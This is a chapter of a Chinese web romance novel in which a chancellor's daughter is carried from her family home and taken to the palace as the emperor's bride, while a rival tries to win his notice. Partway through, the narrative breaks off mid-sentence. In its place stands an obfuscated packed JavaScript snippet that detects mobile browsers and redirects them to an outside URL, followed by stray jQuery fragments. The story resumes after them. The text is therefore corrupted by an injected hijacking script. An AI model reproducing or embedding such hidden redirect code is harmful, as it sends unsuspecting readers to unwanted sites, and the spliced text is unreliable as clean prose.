30. 第 30 章
作品:《失忆后被帝王强取豪夺》 视线忽然一暗,沈若辞皱了皱眉头,未及细想,连嬷嬷便将她人扶了起来。
沈若辞知道这是要离开相府了,几天前她已将圣旨交给了宋临,大小事宜也一一交代清楚。
她此时离家,除去阿爹,心中最记挂是宋临。
宋临是沈相自幼带在身边的,他同沈若辞一块儿长大,两人之间的感情,要比对沈家那些堂兄堂姐来得深。
沈若辞鼻子一酸,她刚往前迈了几步,阿茉便惊讶地开口问道,“公子,您怎么来了?”
宋临站在门口轻声道,“我来送送小姐。”
沈若辞闻言心头一喜,她加快了步伐走到门边,刚要迈过门槛,便被人按住了胳膊。
“我来背你。”宋临一边说一边转过身去,沈若辞想要拒绝的时候,他已经半蹲下身去,挡住了她的路。
连嬷嬷见状,趁势扶着沈若辞攀上他的肩膀,宋临轻轻松松地将人背起来。
连嬷嬷心头的大石头落了地,她也是刚刚才想起来,女子出嫁双脚不能沾地,否则不吉利。好在这小伙子及时出现,解了她的燃眉之急。
沈若辞像小时候一样趴在宋临背上,这让她想起幼时一些事情,心中不禁感慨起来,嘴上却故作轻松道,“阿临你这个样子,我差点以为自己是要嫁人了。”
宋临依旧步履稳健,“嫁人不好吗?”
于沈若辞来说,嫁人在前两年里,确实是一件喜事。
当初她卧病在床,沈相曾坐在床边哄过她,“等你养好了身子,若是还喜欢袁家小子,爹让你嫁给他。”
那时候府中上下,都以为她日后嫁的人定是袁子逸。
只不过世事难料,她最后没嫁成那个人,沈若辞笑了笑提醒道,“我这回嫁的可不是袁公子。”
她很抱歉,没有嫁成袁子逸,恐怕又要让真心关心她的人忧心了。
哪知宋临却说,“袁公子没什么好的,小姐值得更好的。”
沈若辞知道宋临在护短,她心头微微一动,但皇帝那人嚣张跋扈,后宫妃嫔又多,实在算不上更好。
与沈若辞吃饱睡足才起来梳妆不同,元栩今日从晨起便开始被各种繁冗的仪式折腾到黄昏。众位礼官连皇后是何许人也都不知道,却卯足了力气走最周全的仪式,只因为往日不好说话的帝王,今日难得一见的配合。
岳常安也没有好过,他小心翼翼地跟在元栩身边一整天,除了打点大小事宜,还要时不时地往小祖宗脸上觑上一眼,生怕他随时翻脸。
等到帝王的辂车停在沈府门前时,岳常安一颗悬着的心总算落了下来,他大概摸清楚门道,皇帝在沈姑娘面前,一般不会太凶。
接亲的吉时还有一会儿,岳常安逮着机会,悄摸摸地躲到角落里凉快一会。他刚想掏出帕子来抹一把额头的汗珠,就被人无情地打扰了。
“岳公公……”
岳常安手抖了抖,他回头一看,唤他的人正是那夜被他带出去吹冷风的袁妙莹。
那夜皇帝不知出于什么原因,要他将袁妙莹接走,后来又让她一无所获地回了家,眼下见到人,岳常安难免有些心虚。
他清了清嗓子,不自在地回道,“咳咳,是袁姑娘啊……”
袁妙莹原本被侍卫拦在外边,但此时那侍卫见她跟岳公公相识,阻拦的态度也不好太强硬,就这么松懈了一下,就被袁妙莹钻了空子,直接推开人跑到岳常安身边。
袁妙莹假装好奇地问道,“岳公公,你们今日为何事而来啊?”
岳常安正斟酌着言辞要怎么委婉地赶走她时,元栩从辂车上下来,一身红衣衬得他一张俊脸美得愈发张狂。他身量高挑,从车上下来到落地站稳这么普通一个动作,始终带着一股矜贵的优雅,赏心悦目得让人移不开眼。
袁妙莹眼前一亮,几乎是看直了眼,她一时欣喜不已,一颗心都快跳到了嗓子眼,连脚步也不自觉地朝那边过去。
元栩走了一天索然无味的仪式,好不容易等来最重要的时刻。此时冷静下来,心中除了喜悦,竟隐隐生出几分不安来。
他只想尽快见到人,以免夜长梦多。
袁妙莹满眼都是皇帝俊美的容貌,她按捺下心头的欢喜,小心翼翼地上前问道,“皇上,您是来接臣女的,对吗?”
元栩不想听到其他人聒噪的声音,他烦躁地瞥了袁妙莹一眼,没想起沈若辞身边有这号人。
他回过头去,目光依然落在相府气派的大门上,问得毫不经心,“你谁?”
袁妙莹心脏一缩,眼泪几乎要夺眶而出。前阵子整个盛京传得沸沸扬扬,说皇上在七夕宴上被她的美貌、舞姿惊艳到,对她一见钟情,要立她为后。那么多人说皇帝喜欢她,可他竟然连她的长相都记不清。
她面红耳赤,试图唤起元栩的记忆,“皇上,臣女是……”
可惜她话刚出口,就被一阵脚步声无情地掩盖了,皇帝并没有听到她的声音。
袁妙莹并不甘心,不管来的是何人,她不能放弃这个机会,于是她又走近了两步,试图提高嗓音对抗那些嘈杂的声音。
元栩拧着眉头,眼睛一瞬不瞬地盯着前方,几乎是在她准备开口的同时,薄唇轻轻地迸出一个“滚”字。紧接着长腿便急不可耐地迈开,接住了宋临背上的人。
他阴沉着脸,接过人后又横了宋临一眼。
连嬷嬷看出端倪,赶忙解释道,“皇上,哥哥送妹妹出嫁是旧俗。”
元栩面色稍霁,“无妨。”
沈若辞被他抱过去的时候,只有她知道,那人用了多大的力气,几乎是用抢的,生怕她能插上翅膀飞了那样。
她被元栩抱在怀里,鼻间萦绕着淡淡的龙涎香,不是他身上惯有草药香气。
沈若辞莫名觉得心慌。
她原本没想过元栩会来,毕竟今天是他成婚立后的大喜日子。可他为何会来,这点也不难想通,大概率是怕丢了她这颗棋子。
沈若辞也无所谓他来不来,只要阿爹能平安出狱,其他事情就变得无关紧要了。
这么想着,她倒是盼望能赶紧离开,好让宋临赶去狱中宣旨。可皇帝抱着一动不动,似乎并没有要走的意思。
一旁的袁妙莹也没有依言滚开,元栩要她滚的话,说得很小声,好在现场只有她一人听到了。她厚着脸皮留下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442351|184415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,就想为自己再争取一下,没想到等来的却是皇帝抱着别的女子。
她一下子从云端跌落到泥地里,先是惊愕,再然后是难以置信,整个人恍惚了半晌,才确认皇帝抱着的人是沈若辞。她失望之余,又重新燃起了新的希望。
若是皇帝知道她是个残花败柳,还会要她么?
打定了注意,袁妙莹在礼乐声中再次开口,“皇上,臣女有一事相禀……”
这一声楚楚可怜,丝毫不似往日嘲讽沈若辞那般尖酸刻薄,可沈若辞还是一下子听出了说话的人是谁。
大红喜帕掩盖了视线,沈若辞虽未能看见袁妙莹,但也能猜出,皇帝是接了袁妙莹之后,顺带来捎她入宫。
袁妙莹最后一次出声,岳常安几乎是胆战心惊,他等不及命令一旁的侍卫上前赶人,自己便舍身冲过去一把将袁妙莹推开。
元栩怀中抱着人,依旧站在原地,似乎并没有受袁妙莹的影响。他一门子心思都在看沈若辞的红盖头,左看右看,大有要将那层布看穿的劲头。
连嬷嬷见形势不对,生怕他当众撩开喜帕,忙上前提醒道,“皇上,莫要误了吉时。”
元栩皱了皱眉头,忽然探过头去,将唇抵在她的耳畔,像在确认什么似的叫了一声“沿沿”。
声音细软绵长,竟难得的温柔,沈若辞轻轻地“嗯”了一声。
她也明白,皇帝在确认相府有没有偷梁换柱。
要不是连嬷嬷千叮咛万嘱咐,不可擅自掀开喜帕,她此时倒是可以来个自证清白。
皇帝生性多疑,性子又古怪,试探她一下也是理所当然的事。只不过沈若辞脚不沾地,被他抱在半空中,一颗心难免战战兢兢。
等到她上了辂车,稳稳当当地坐在车里时,才稍稍松了一口气。
车轮滚滚,沈若辞的心跳刚平缓下来,就感觉有人随后跨入车厢,一屁股坐在她身旁。
紧接着,一只大手横了过来,粗鲁地将她搁在膝盖上的手团入掌心。
沈若辞闻不惯他身上龙涎香的香气,下意识要将手抽回,却被他握得更牢。
元栩不悦道,“乖乖坐着。”
沈若辞只好由他抓着手,辂车四平八稳,元栩哼着小调,听起来心情还不错。
沈若辞垂着头,目光越过喜帕的边缘,落在他大红色的长袍下摆。
她想象不出来,那人目中无人,穿着婚服的样子。
等到了皇宫,天色已经黑透。宫里灯火通明,分不清黑夜白昼。
沈若辞却很清楚现在是什么时间,不出意外的话,宋临已经拿着圣旨抵达天牢,她爹可能已在归家的途中。
前阵子沈若辞已想好了说辞,让宋临跟沈相说她去柳太妃那里了,会小住一段时间。
她要等沈相修养好了身子,才将实情告诉他,再慢慢想办法。
只是这事心里没底,到底是瞒不住父亲的,一想到事发的后果,沈若辞心里就发愁得很,不由得轻叹了一口气。
辂车停在大殿正门口,元栩先从车上下来,又转身要去抱身后的沈若辞。连嬷嬷在一旁提醒道,“皇上,娘娘可以自己走了。”